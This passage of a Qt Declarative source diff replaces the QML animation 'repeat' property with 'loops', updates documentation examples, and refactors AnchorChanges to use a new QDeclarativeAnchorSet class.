QLatin1String("StateChangeScript") && static_cast<QDeclarativeStateChangeScript*>(action.event)->name() == d->name) { - //### how should we handle reverse direction? d->runScriptScript = static_cast<QDeclarativeStateChangeScript*>(action.event)->script(); d->hasRunScriptScript = true; action.actionDone = true; - break; //assumes names are unique + break; //only match one (names should be unique) } } } @@ -1318,8 +1369,8 @@ void QDeclarativeAnimationGroupPrivate::append_animation(QDeclarativeListPropert { QDeclarativeAnimationGroup *q = qobject_cast<QDeclarativeAnimationGroup *>(list->object); if (q) { - q->d_func()->animations.append(a); a->setGroup(q); + QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag); q->d_func()->ag->addAnimation(a->qtAnimation()); } } @@ -1550,7 +1601,7 @@ void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int \qml Rectangle { SequentialAnimation on x { - repeat: true + loops: Animation.Infinite PropertyAnimation { to: 50 } PropertyAnimation { to: 0 } } @@ -1959,7 +2010,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) id: theRect width: 100; height: 100 color: Qt.rgba(0,0,1) - NumberAnimation on x { to: 500; repeat: true } //animate theRect's x property + NumberAnimation on x { to: 500; loops: Animation.Infinite } //animate theRect's x property Behavior on y { NumberAnimation {} } //animate theRect's y property } \endqml diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 356b015..816520e 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -70,24 +70,28 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_INTERFACES(QDeclarativeParserStatus) Q_INTERFACES(QDeclarativePropertyValueSource) + Q_ENUMS(Loops) Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) - Q_PROPERTY(bool repeat READ repeat WRITE setRepeat NOTIFY repeatChanged) + Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopsChanged) Q_CLASSINFO("DefaultMethod", "start()") public: QDeclarativeAbstractAnimation(QObject *parent=0); virtual ~QDeclarativeAbstractAnimation(); + enum Loops { Infinite = -2 }; + bool isRunning() const; void setRunning(bool); bool isPaused() const; void setPaused(bool); bool alwaysRunToEnd() const; void setAlwaysRunToEnd(bool); - bool repeat() const; - void setRepeat(bool); + + int loops() const; + void setLoops(int); int currentTime(); void setCurrentTime(int); @@ -106,8 +110,8 @@ Q_SIGNALS: void completed(); void runningChanged(bool); void pausedChanged(bool); - void repeatChanged(bool); void alwaysRunToEndChanged(bool); + void loopCountChanged(int); public Q_SLOTS: void restart(); @@ -163,7 +167,7 @@ class QDeclarativeScriptAction : public QDeclarativeAbstractAnimation Q_DECLARE_PRIVATE(QDeclarativeScriptAction) Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript) - Q_PROPERTY(QString stateChangeScriptName READ stateChangeScriptName WRITE setStateChangeScriptName) + Q_PROPERTY(QString scriptName READ stateChangeScriptName WRITE setStateChangeScriptName) public: QDeclarativeScriptAction(QObject *parent=0); diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 55aacfa..3908e50 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -225,19 +225,21 @@ class QDeclarativeAbstractAnimationPrivate : public QObjectPrivate Q_DECLARE_PUBLIC(QDeclarativeAbstractAnimation) public: QDeclarativeAbstractAnimationPrivate() - : running(false), paused(false), alwaysRunToEnd(false), repeat(false), + : running(false), paused(false), alwaysRunToEnd(false), connectedTimeLine(false), componentComplete(true), - avoidPropertyValueSourceStart(false), disableUserControl(false), group(0) {} + avoidPropertyValueSourceStart(false), disableUserControl(false), + loopCount(1), group(0) {} bool running:1; bool paused:1; bool alwaysRunToEnd:1; - bool repeat:1; bool connectedTimeLine:1; bool componentComplete:1; bool avoidPropertyValueSourceStart:1; bool disableUserControl:1; + int loopCount; + void commence(); QDeclarativeProperty defaultProperty; @@ -264,7 +266,7 @@ class QDeclarativeScriptActionPrivate : public QDeclarativeAbstractAnimationPriv Q_DECLARE_PUBLIC(QDeclarativeScriptAction) public: QDeclarativeScriptActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), proxy(this), rsa(0) {} + : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), reversing(false), proxy(this), rsa(0) {} void init(); @@ -272,6 +274,7 @@ public: QString name; QDeclarativeScriptString runScriptScript; bool hasRunScriptScript; + bool reversing; void execute(); diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 340e9ac..3e25234 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -401,7 +401,7 @@ void QDeclarativeListModel::remove(int index) values in \a dict. \code - FruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) + fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be to an existing item in the list, or one past @@ -437,7 +437,7 @@ void QDeclarativeListModel::insert(int index, const QScriptValue& valuemap) to the end of the list: \code - FruitModel.move(0,FruitModel.count-3,3) + fruitModel.move(0,fruitModel.count-3,3) \endcode \sa append() @@ -479,7 +479,7 @@ void QDeclarativeListModel::move(int from, int to, int n) values in \a dict. \code - FruitModel.append({"cost": 5.95, "name":"Pizza"}) + fruitModel.append({"cost": 5.95, "name":"Pizza"}) \endcode \sa set() remove() @@ -500,8 +500,8 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) Returns the item at \a index in the list model. \code - FruitModel.append({"cost": 5.95, "name":"Jackfruit"}) - FruitModel.get(0).cost + fruitModel.append({"cost": 5.95, "name":"Jackfruit"}) + fruitModel.get(0).cost \endcode The \a index must be an element in the list. @@ -510,10 +510,10 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) will also be models, and this get() method is used to access elements: \code - FruitModel.append(..., "attributes": + fruitModel.append(..., "attributes": [{"name":"spikes","value":"7mm"}, {"name":"color","value":"green"}]); - FruitModel.get(0).attributes.get(1).value; // == "green" + fruitModel.get(0).attributes.get(1).value; // == "green" \endcode \sa append() @@ -536,7 +536,7 @@ QScriptValue QDeclarativeListModel::get(int index) const are left unchanged. \code - FruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) + fruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be an element in the list. @@ -574,7 +574,7 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) Changes the \a property of the item at \a index in the list model to \a value. \code - FruitModel.set(3, "cost", 5.95) + fruitModel.set(3, "cost", 5.95) \endcode The \a index must be an element in the list. diff --git a/src/declarative/util/qdeclarativespringfollow.cpp b/src/declarative/util/qdeclarativespringfollow.cpp index 1d69dd3..76d7c98 100644 --- a/src/declarative/util/qdeclarativespringfollow.cpp +++ b/src/declarative/util/qdeclarativespringfollow.cpp @@ -224,11 +224,11 @@ void QDeclarativeSpringFollowPrivate::stop() color: "#00ff00" y: 200 // initial value SequentialAnimation on y { - running: true - repeat: true + loops: Animation.Infinite NumberAnimation { to: 200 - easing: "easeOutBounce(amplitude:100)" + easing.type: "OutBounce" + easing.amplitude: 100 duration: 2000 } PauseAnimation { duration: 1000 } diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 163d220..3469136 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -494,9 +494,31 @@ public: \qmlclass StateChangeScript QDeclarativeStateChangeScript \brief The StateChangeScript element allows you to run a script in a state. - The script specified will be run immediately when the state is made current. - Alternatively you can use a ScriptAction to specify at which point in the transition + StateChangeScripts are run when entering the state. You can use + ScriptAction to specify at which point in the transition you want the StateChangeScript to be run. + + \qml + State { + name "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + ... + } + ... + Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa ScriptAction */ QDeclarativeStateChangeScript::QDeclarativeStateChangeScript(QObject *parent) @@ -587,209 +609,343 @@ QString QDeclarativeStateChangeScript::typeName() const For more information on anchors see \l {anchor-layout}{Anchor Layouts}. */ - - -class QDeclarativeAnchorChangesPrivate : public QObjectPrivate +class QDeclarativeAnchorSetPrivate : public QObjectPrivate { + Q_DECLARE_PUBLIC(QDeclarativeAnchorSet) public: - QDeclarativeAnchorChangesPrivate() : target(0) {} + QDeclarativeAnchorSetPrivate() + : usedAnchors(0), fill(0), + centerIn(0)/*, leftMargin(0), rightMargin(0), topMargin(0), bottomMargin(0), + margins(0), vCenterOffset(0), hCenterOffset(0), baselineOffset(0)*/ + { + } - QDeclarativeItem *target; - QString resetString; + QDeclarativeAnchors::UsedAnchors usedAnchors; + //### change to QDeclarativeAnchors::UsedAnchors resetAnchors QStringList resetList; + QDeclarativeItem *fill; + QDeclarativeItem *centerIn; + QDeclarativeAnchorLine left; QDeclarativeAnchorLine right; - QDeclarativeAnchorLine horizontalCenter; QDeclarativeAnchorLine top; QDeclarativeAnchorLine bottom; - QDeclarativeAnchorLine verticalCenter; + QDeclarativeAnchorLine vCenter; + QDeclarativeAnchorLine hCenter; QDeclarativeAnchorLine baseline; - QDeclarativeAnchorLine origLeft; - QDeclarativeAnchorLine origRight; - QDeclarativeAnchorLine origHCenter; - QDeclarativeAnchorLine origTop; - QDeclarativeAnchorLine origBottom; - QDeclarativeAnchorLine origVCenter; - QDeclarativeAnchorLine origBaseline; - - QDeclarativeAnchorLine rewindLeft; - QDeclarativeAnchorLine rewindRight; - QDeclarativeAnchorLine rewindHCenter; - QDeclarativeAnchorLine rewindTop; - QDeclarativeAnchorLine rewindBottom; - QDeclarativeAnchorLine rewindVCenter; - QDeclarativeAnchorLine rewindBaseline; + /*qreal leftMargin; + qreal rightMargin; + qreal topMargin; + qreal bottomMargin; + qreal margins; + qreal vCenterOffset; + qreal hCenterOffset; + qreal baselineOffset;*/ +}; - qreal fromX; - qreal fromY; - qreal fromWidth; - qreal fromHeight; +QDeclarativeAnchorSet::QDeclarativeAnchorSet(QObject *parent) + : QObject(*new QDeclarativeAnchorSetPrivate, parent) +{ +} - qreal toX; - qreal toY; - qreal toWidth; - qreal toHeight; +QDeclarativeAnchorSet::~QDeclarativeAnchorSet() +{ +} - qreal rewindX; - qreal rewindY; - qreal rewindWidth; - qreal rewindHeight; +QDeclarativeAnchorLine QDeclarativeAnchorSet::top() const +{ + Q_D(const QDeclarativeAnchorSet); + return d->top; +} - bool applyOrigLeft; - bool applyOrigRight; - bool applyOrigHCenter; - bool applyOrigTop; - bool applyOrigBottom; - bool applyOrigVCenter; - bool applyOrigBaseline; -}; +void QDeclarativeAnchorSet::setTop(const QDeclarativeAnchorLine &edge) +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasTopAnchor; + d->top = edge; +} -/*! - \qmlproperty Item AnchorChanges::target - This property holds the Item whose anchors will change -*/ +void QDeclarativeAnchorSet::resetTop() +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasTopAnchor; + d->top = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("top"); +} -QDeclarativeAnchorChanges::QDeclarativeAnchorChanges(QObject *parent) - : QDeclarativeStateOperation(*(new QDeclarativeAnchorChangesPrivate), parent) +QDeclarativeAnchorLine QDeclarativeAnchorSet::bottom() const { + Q_D(const QDeclarativeAnchorSet); + return d->bottom; } -QDeclarativeAnchorChanges::~QDeclarativeAnchorChanges() +void QDeclarativeAnchorSet::setBottom(const QDeclarativeAnchorLine &edge) { + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasBottomAnchor; + d->bottom = edge; } -QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions() +void QDeclarativeAnchorSet::resetBottom() { - QDeclarativeAction a; - a.event = this; - return ActionList() << a; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasBottomAnchor; + d->bottom = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("bottom"); } -QDeclarativeItem *QDeclarativeAnchorChanges::object() const +QDeclarativeAnchorLine QDeclarativeAnchorSet::verticalCenter() const { - Q_D(const QDeclarativeAnchorChanges); - return d->target; + Q_D(const QDeclarativeAnchorSet); + return d->vCenter; } -void QDeclarativeAnchorChanges::setObject(QDeclarativeItem *target) +void QDeclarativeAnchorSet::setVerticalCenter(const QDeclarativeAnchorLine &edge) { - Q_D(QDeclarativeAnchorChanges); - d->target = target; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasVCenterAnchor; + d->vCenter = edge; } -QString QDeclarativeAnchorChanges::reset() const +void QDeclarativeAnchorSet::resetVerticalCenter() { - Q_D(const QDeclarativeAnchorChanges); - return d->resetString; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasVCenterAnchor; + d->vCenter = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("verticalCenter"); } -void QDeclarativeAnchorChanges::setReset(const QString &reset) +QDeclarativeAnchorLine QDeclarativeAnchorSet::baseline() const { - Q_D(QDeclarativeAnchorChanges); - d->resetString = reset; - d->resetList = d->resetString.split(QLatin1Char(',')); - for (int i = 0; i < d->resetList.count(); ++i) - d->resetList[i] = d->resetList.at(i).trimmed(); + Q_D(const QDeclarativeAnchorSet); + return d->baseline; } -/*! - \qmlproperty AnchorLine AnchorChanges::left - \qmlproperty AnchorLine AnchorChanges::right - \qmlproperty AnchorLine AnchorChanges::horizontalCenter - \qmlproperty AnchorLine AnchorChanges::top - \qmlproperty AnchorLine AnchorChanges::bottom - \qmlproperty AnchorLine AnchorChanges::verticalCenter - \qmlproperty AnchorLine AnchorChanges::baseline +void QDeclarativeAnchorSet::setBaseline(const QDeclarativeAnchorLine &edge) +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasBaselineAnchor; + d->baseline = edge; +} - These properties change the respective anchors of the item. -*/ +void QDeclarativeAnchorSet::resetBaseline() +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasBaselineAnchor; + d->baseline = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("baseline"); +} -QDeclarativeAnchorLine QDeclarativeAnchorChanges::left() const +QDeclarativeAnchorLine QDeclarativeAnchorSet::left() const { - Q_D(const QDeclarativeAnchorChanges); + Q_D(const QDeclarativeAnchorSet); return d->left; } -void QDeclarativeAnchorChanges::setLeft(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setLeft(const QDeclarativeAnchorLine &edge) { - Q_D(QDeclarativeAnchorChanges); + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasLeftAnchor; d->left = edge; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::right() const +void QDeclarativeAnchorSet::resetLeft() { - Q_D(const QDeclarativeAnchorChanges); + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasLeftAnchor; + d->left = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("left"); +} + +QDeclarativeAnchorLine QDeclarativeAnchorSet::right() const +{ + Q_D(const QDeclarativeAnchorSet); return d->right; } -void QDeclarativeAnchorChanges::setRight(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setRight(const QDeclarativeAnchorLine &edge) { - Q_D(QDeclarativeAnchorChanges); + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasRightAnchor; d->right = edge; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::horizontalCenter() const +void QDeclarativeAnchorSet::resetRight() { - Q_D(const QDeclarativeAnchorChanges); - return d->horizontalCenter; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasRightAnchor; + d->right = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("right"); } -void QDeclarativeAnchorChanges::setHorizontalCenter(const QDeclarativeAnchorLine &edge) +QDeclarativeAnchorLine QDeclarativeAnchorSet::horizontalCenter() const { - Q_D(QDeclarativeAnchorChanges); - d->horizontalCenter = edge; + Q_D(const QDeclarativeAnchorSet); + return d->hCenter; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::top() const +void QDeclarativeAnchorSet::setHorizontalCenter(const QDeclarativeAnchorLine &edge) { - Q_D(const QDeclarativeAnchorChanges); - return d->top; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasHCenterAnchor; + d->hCenter = edge; } -void QDeclarativeAnchorChanges::setTop(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::resetHorizontalCenter() { - Q_D(QDeclarativeAnchorChanges); - d->top = edge; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasHCenterAnchor; + d->hCenter = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("horizontalCenter"); } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::bottom() const +QDeclarativeItem *QDeclarativeAnchorSet::fill() const { - Q_D(const QDeclarativeAnchorChanges); - return d->bottom; + Q_D(const QDeclarativeAnchorSet); + return d->fill; } -void QDeclarativeAnchorChanges::setBottom(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setFill(QDeclarativeItem *f) { - Q_D(QDeclarativeAnchorChanges); - d->bottom = edge; + Q_D(QDeclarativeAnchorSet); + d->fill = f; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::verticalCenter() const +void QDeclarativeAnchorSet::resetFill() { - Q_D(const QDeclarativeAnchorChanges); - return d->verticalCenter; + setFill(0); +} + +QDeclarativeItem *QDeclarativeAnchorSet::centerIn() const +{ + Q_D(const QDeclarativeAnchorSet); + return d->centerIn; +} + +void QDeclarativeAnchorSet::setCenterIn(QDeclarativeItem* c) +{ + Q_D(QDeclarativeAnchorSet); + d->centerIn = c; } -void QDeclarativeAnchorChanges::setVerticalCenter(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::resetCenterIn() +{ + setCenterIn(0); +} + + +class QDeclarativeAnchorChangesPrivate : public QObjectPrivate +{ +public: + QDeclarativeAnchorChangesPrivate() + : target(0), anchorSet(new QDeclarativeAnchorSet) {} + ~QDeclarativeAnchorChangesPrivate() { delete anchorSet; } + + QDeclarativeItem *target; + QDeclarativeAnchorSet *anchorSet; + + QDeclarativeAnchorLine origLeft; + QDeclarativeAnchorLine origRight; + QDeclarativeAnchorLine origHCenter; + QDeclarativeAnchorLine origTop; + QDeclarativeAnchorLine origBottom; + QDeclarativeAnchorLine origVCenter; + QDeclarativeAnchorLine origBaseline; + + QDeclarativeAnchorLine rewindLeft; + QDeclarativeAnchorLine rewindRight; + QDeclarativeAnchorLine rewindHCenter; + QDeclarativeAnchorLine rewindTop; + QDeclarativeAnchorLine rewindBottom; + QDeclarativeAnchorLine rewindVCenter; + QDeclarativeAnchorLine rewindBaseline; + + qreal fromX; + qreal fromY; + qreal fromWidth; + qreal fromHeight; + + qreal toX; + qreal toY; + qreal toWidth; + qreal toHeight; + + qreal rewindX; + qreal rewindY; + qreal rewindWidth; + qreal rewindHeight; + + bool applyOrigLeft; + bool applyOrigRight; + bool applyOrigHCenter; + bool applyOrigTop; + bool applyOrigBottom; + bool applyOrigVCenter; + bool applyOrigBaseline; +}; + +/*! + \qmlproperty Item AnchorChanges::target + This property holds the Item whose anchors will change +*/ + +QDeclarativeAnchorChanges::QDeclarativeAnchorChanges(QObject *parent) + : QDeclarativeStateOperation(*(new QDeclarativeAnchorChangesPrivate), parent) +{ +} + +QDeclarativeAnchorChanges::~QDeclarativeAnchorChanges() +{ +} + +QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions() +{ + QDeclarativeAction a; + a.event = this; + return ActionList() << a; +} + +QDeclarativeAnchorSet *QDeclarativeAnchorChanges::anchors() { Q_D(QDeclarativeAnchorChanges); - d->verticalCenter = edge; + return d->anchorSet; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::baseline() const +QDeclarativeItem *QDeclarativeAnchorChanges::object() const { Q_D(const QDeclarativeAnchorChanges); - return d->baseline; + return d->target; } -void QDeclarativeAnchorChanges::setBaseline(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorChanges::setObject(QDeclarativeItem *target) { Q_D(QDeclarativeAnchorChanges); - d->baseline = edge; + d->target = target; } +/*! + \qmlproperty AnchorLine AnchorChanges::anchors.left + \qmlproperty AnchorLine AnchorChanges::anchors.right + \qmlproperty AnchorLine AnchorChanges::anchors.horizontalCenter + \qmlproperty AnchorLine AnchorChanges::anchors.top + \qmlproperty AnchorLine AnchorChanges::anchors.bottom + \qmlproperty AnchorLine AnchorChanges::anchors.verticalCenter + \qmlproperty AnchorLine AnchorChanges::anchors.baseline + + These properties change the respective anchors of the item. + + To reset an anchor you can assign \c undefined: + \qml + AnchorChanges { + target: myItem + left: undefined //remove myItem's left anchor + right: otherItem.right + } + \endqml +*/ + void QDeclarativeAnchorChanges::execute() { Q_D(QDeclarativeAnchorChanges); @@ -813,36 +969,36 @@ void QDeclarativeAnchorChanges::execute() d->target->anchors()->setBaseline(d->origBaseline); //reset any anchors that have been specified - if (d->resetList.contains(QLatin1String("left"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("left"))) d->target->anchors()->resetLeft(); - if (d->resetList.contains(QLatin1String("right"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("right"))) d->target->anchors()->resetRight(); - if (d->resetList.contains(QLatin1String("horizontalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("horizontalCenter"))) d->target->anchors()->resetHorizontalCenter(); - if (d->resetList.contains(QLatin1String("top"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("top"))) d->target->anchors()->resetTop(); - if (d->resetList.contains(QLatin1String("bottom"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("bottom"))) d->target->anchors()->resetBottom(); - if (d->resetList.contains(QLatin1String("verticalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("verticalCenter"))) d->target->anchors()->resetVerticalCenter(); - if (d->resetList.contains(QLatin1String("baseline"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("baseline"))) d->target->anchors()->resetBaseline(); //set any anchors that have been specified - if (d->left.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setLeft(d->left); - if (d->right.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setRight(d->right); - if (d->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setHorizontalCenter(d->horizontalCenter); - if (d->top.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setTop(d->top); - if (d->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setBottom(d->bottom); - if (d->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setVerticalCenter(d->verticalCenter); - if (d->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setBaseline(d->baseline); + if (d->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setLeft(d->anchorSet->d_func()->left); + if (d->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setRight(d->anchorSet->d_func()->right); + if (d->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setHorizontalCenter(d->anchorSet->d_func()->hCenter); + if (d->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setTop(d->anchorSet->d_func()->top); + if (d->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setBottom(d->anchorSet->d_func()->bottom); + if (d->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setVerticalCenter(d->anchorSet->d_func()->vCenter); + if (d->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setBaseline(d->anchorSet->d_func()->baseline); } bool QDeclarativeAnchorChanges::isReversable() @@ -857,19 +1013,19 @@ void QDeclarativeAnchorChanges::reverse() return; //reset any anchors set by the state - if (d->left.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetLeft(); - if (d->right.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetRight(); - if (d->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetHorizontalCenter(); - if (d->top.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetTop(); - if (d->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBottom(); - if (d->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetVerticalCenter(); - if (d->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBaseline(); //restore previous anchors @@ -955,26 +1111,26 @@ void QDeclarativeAnchorChanges::copyOriginals(QDeclarativeActionEvent *other) QDeclarativeAnchorChangesPrivate *acp = ac->d_func(); //probably also need to revert some things - d->applyOrigLeft = (acp->left.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("left"))); + d->applyOrigLeft = (acp->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("left"))); - d->applyOrigRight = (acp->right.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("right"))); + d->applyOrigRight = (acp->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("right"))); - d->applyOrigHCenter = (acp->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("horizontalCenter"))); + d->applyOrigHCenter = (acp->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("horizontalCenter"))); - d->applyOrigTop = (acp->top.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("top"))); + d->applyOrigTop = (acp->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("top"))); - d->applyOrigBottom = (acp->bottom.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("bottom"))); + d->applyOrigBottom = (acp->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("bottom"))); - d->applyOrigVCenter = (acp->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("verticalCenter"))); + d->applyOrigVCenter = (acp->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("verticalCenter"))); - d->applyOrigBaseline = (acp->baseline.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("baseline"))); + d->applyOrigBaseline = (acp->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("baseline"))); d->origLeft = ac->d_func()->origLeft; d->origRight = ac->d_func()->origRight; @@ -1012,35 +1168,35 @@ void QDeclarativeAnchorChanges::clearBindings() d->target->anchors()->resetBaseline(); //reset any anchors that have been specified - if (d->resetList.contains(QLatin1String("left"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("left"))) d->target->anchors()->resetLeft(); - if (d->resetList.contains(QLatin1String("right"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("right"))) d->target->anchors()->resetRight(); - if (d->resetList.contains(QLatin1String("horizontalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("horizontalCenter"))) d->target->anchors()->resetHorizontalCenter(); - if (d->resetList.contains(QLatin1String("top"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("top"))) d->target->anchors()->resetTop(); - if (d->resetList.contains(QLatin1String("bottom"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("bottom"))) d->target->anchors()->resetBottom(); - if (d->resetList.contains(QLatin1String("verticalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("verticalCenter"))) 